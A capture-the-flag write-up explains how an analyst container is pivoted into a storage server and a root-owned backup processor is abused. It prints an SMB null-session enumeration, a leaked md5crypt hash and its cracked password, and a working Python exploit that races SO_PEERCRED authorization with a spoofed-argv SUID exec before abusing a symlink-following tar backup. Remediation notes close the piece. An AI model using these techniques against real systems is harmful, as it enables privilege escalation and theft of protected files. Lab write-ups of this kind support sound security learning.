$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: Pivot from an analyst container into a storage server running a privileged backup processor. Solution: Leak and crack an SMB hash, race SO_PEERCRED authorization with a SUID exec, then abuse a symlink-following root backup.
We penetrated one server of HoneyVault, a honey production/storage company. Backups, integrity checks, and old-data cleanup are handled by AegisHive Processor. Gain access to the storage server, breach the administration system, and obtain /root/flag.txt.
The supplied SSH account lands in an analyst container. The objective is to move laterally to the storage container and turn AegisHive's privileged backup operation into a root-file disclosure.
The SSH service rejects exec-channel commands such as:
ssh [email protected] id
with Sorry, no commands allowed. Just 'ssh user@host' please. An interactive PTY works:
ssh -tt [email protected] # Password: use the challenge-supplied badger password
Inside hv-analyst-01, the account has unrestricted container-local sudo:
$ sudo -n -l User badger may run the following commands on hv-analyst-01: (ALL) NOPASSWD: ALL
The host is a minimal Docker container, and /root/flag.txt is absent. Root here therefore provides network visibility and tooling, not the objective itself.
Docker DNS resolves the storage service as hv-storage-01; using this name avoids relying on an instance-specific container address. A focused scan shows SSH and SMB:
sudo nmap -n -Pn -sT -sV -p22,139,445 hv-storage-01
22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open netbios-ssn
The Samba server permits a null session and exports data:
smbclient -N -L //hv-storage-01 smbclient -N //hv-storage-01/data smb: \\> recurse ON smb: \\> prompt OFF smb: \\> ls smb: \\> get admin/linux/remote-backup.sh remote-backup.sh
The downloaded /data/admin/linux/remote-backup.sh contains the operator account's md5crypt hash:
$1$lp9yekC1$OhCfwi88S6riHT9rovIqy0
Save it and crack it offline with rockyou:
printf '%s\n' '$1$lp9yekC1$OhCfwi88S6riHT9rovIqy0' > operator.hash john --wordlist=/path/to/rockyou.txt operator.hash john --show operator.hash
The recovered password is monitoring, which provides a storage foothold:
ssh -tt operator@hv-storage-01 # Password: monitoring
On the storage host, /run/managectl.sock is mode 0666, and root runs /opt/aegishive/processor.py:
ls -l /run/managectl.sock /opt/aegishive/processor.py /usr/bin/su ps auxww | grep '[p]rocessor.py' less /opt/aegishive/processor.py
For each Unix-socket connection, the processor obtains (pid, uid, gid) using SO_PEERCRED. It then reads /proc/<pid>/cmdline and authorizes only when:
managectl; andThis is unsafe because the credentials identify a process, while /proc/<pid>/cmdline and its effective UID can change after connect(). The server makes the race deterministic by processing clients serially: it accepts one connection, checks it, and then blocks in recv() before accepting the next queued client.
The exploit uses two connections and a fork:
recv()./usr/bin/su, but set argv[0] to /usr/local/sbin/managectl.SO_PEERCRED.su process: /proc/<pid>/cmdline begins with managectl, and its effective UID is root.backup adminsecurity over the trusted socket.The trick does not make the helper root. It changes the identity observed for the queued peer between connection establishment and authorization, while the helper supplies the command through the shared socket.
The processor's directory allowlist contains adjacent string literals with no comma:
ALLOWED_DIRECTORIES = [ # ... "admin" "security", # ... ]
Python concatenates them at parse time, so adminsecurity is a valid allowed directory. Since /data is mode 1777, operator can create /data/adminsecurity and place a symlink inside it:
mkdir -p /data/adminsecurity ln -s /root/flag.txt /data/adminsecurity/rootflag
The root processor invokes tar with -h (tar -chf), which dereferences the symlink. Its resulting backup archive is readable, so adminsecurity/rootflag contains the protected file's contents.
Copy the following script to hv-storage-01 and run it as operator. It prepares the symlink, wins the queued-peer race, requests the root backup, and reads the protected member directly from the returned archive.
#!/usr/bin/env python3 """Run as operator on hv-storage-01; print the protected file via AegisHive.""" import json import os import socket import tarfile import time SOCKET = "/run/managectl.sock" os.makedirs("/data/adminsecurity", exist_ok=True) try: os.unlink("/data/adminsecurity/rootflag") except FileNotFoundError: pass os.symlink("/root/flag.txt", "/data/adminsecurity/rootflag") # Hold the single-threaded processor in recv() so the real request can be # queued before its connector execs a SUID program with a trusted argv[0]. blocker = socket.socket(socket.AF_UNIX) blocker.connect(SOCKET) time.sleep(0.1) request = socket.socket(socket.AF_UNIX) pid = os.fork() if pid == 0: time.sleep(0.1) blocker.sendall(b"x") blocker.recv(4096) time.sleep(0.05) request.sendall(b"backup adminsecurity") response = json.loads(request.recv(4096)) archive = response["result"] with tarfile.open(archive) as tf: print(tf.extractfile("adminsecurity/rootflag").read().decode().strip()) os.kill(os.getppid(), 9) os._exit(0) request.connect(SOCKET) os.execve( "/usr/bin/su", ["/usr/local/sbin/managectl", "root"], os.environ, )
Run it:
python3 exploit_managectl.py
The script prints the challenge flag. For manual verification, the returned archive can instead be listed and its member streamed without writing it elsewhere:
tar -tf /data/backup/adminsecurity-*.tar tar -xOf /data/backup/adminsecurity-*.tar adminsecurity/rootflag
/proc/<pid> metadata or a client-controlled argv[0]. Use socket ownership and a dedicated group, authenticate messages, and bind authorization to immutable credentials.0666; avoid a blocking single-threaded check-then-read design.O_NOFOLLOW/openat2 constraints.-h when archiving attacker-writable trees. Reject symlinks and create backup outputs with least-privilege ownership and mode.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar